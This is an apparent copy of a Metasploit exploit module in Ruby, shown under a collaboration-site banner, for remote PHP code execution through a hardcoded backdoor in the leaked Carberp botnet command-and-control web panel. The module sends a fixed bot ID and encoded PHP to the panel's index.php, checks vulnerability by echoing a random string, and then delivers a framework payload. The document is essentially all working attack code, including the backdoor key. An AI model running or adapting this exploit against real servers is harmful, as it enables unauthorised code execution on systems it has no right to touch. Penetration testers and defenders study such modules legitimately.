Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10

11
  def initialize(info={})
12
    super(update_info(info,
13
      'Name'           => 'Carberp Web Panel C2 Backdoor Remote PHP Code Execution',
14
      'Description'    => %q{
15
          This module exploits backdoors that can be found all over the leaked
16
        source code of the Carberp botnet C2 Web Panel.
17
      },
18
      'License'        => MSF_LICENSE,
19
      'Author'         =>
20
        [
21
          'bwall(Brian Wallace) <bwallace[at]cylance.com>', # msf module
22
          'connection(Luis Santana) <hacktalkblog[at]gmail.com>', # exploit reporting
23
          'Steven K <xylitol[at]malwareint[d0t]com>' # discovery and reporting
24
        ],
25
      'References'     =>
26
        [
27
          ['URL', 'http://www.xylibox.com/2013/06/carberp-remote-code-execution-carpwned.html']
28
        ],
29
      'Privileged'     => false,
30
      'Payload'        =>
31
        {
32
          'Keys'        => ['php'],
33
          'Space'       => 10000,
34
          'DisableNops' => true
35
        },
36
      'Platform'       => ['php'],
37
      'Arch'           => ARCH_PHP,
38
      'Targets'        =>
39
        [
40
          ['carberp', {}]
41
        ],
42
      'DisclosureDate' => '2013-06-28',
43
      'DefaultTarget'  => 0))
44

45
    register_options(
46
      [
47
        OptString.new('TARGETURI',[true, "The path to the backdoor, often just index.php", "/index.php"]),
48
        OptString.new('BOTID', [true, 'Hardcoded backdoor bot ID that can run PHP eval', 'BOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV']),
49
      ])
50
  end
51

52
  def check
53
    confirm_string = rand_text_alpha(8)
54
    cmd = "echo '#{confirm_string}';"
55
    shell = http_send_command(cmd)
56
    check_code = Exploit::CheckCode::Safe
57

58
    if shell and shell.body.include?(confirm_string)
59
      check_code = Exploit::CheckCode::Vulnerable
60
    end
61

62
    check_code
63
  end
64

65
  def http_send_command(cmd)
66
    uri = normalize_uri(target_uri.path.to_s)
67
    request_parameters = {
68
      'method'	=> 'POST',
69
      'uri'		=> uri,
70
      'vars_post'	=>
71
        {
72
          'id' => datastore['BOTID'],
73
          "data" => Rex::Text.encode_base64(cmd.unpack('H*'))
74
        }
75
    }
76
    res = send_request_cgi(request_parameters)
77

78
    res
79
  end
80

81
  def exploit
82
    http_send_command(payload.encoded)
83
  end
84
end
85

86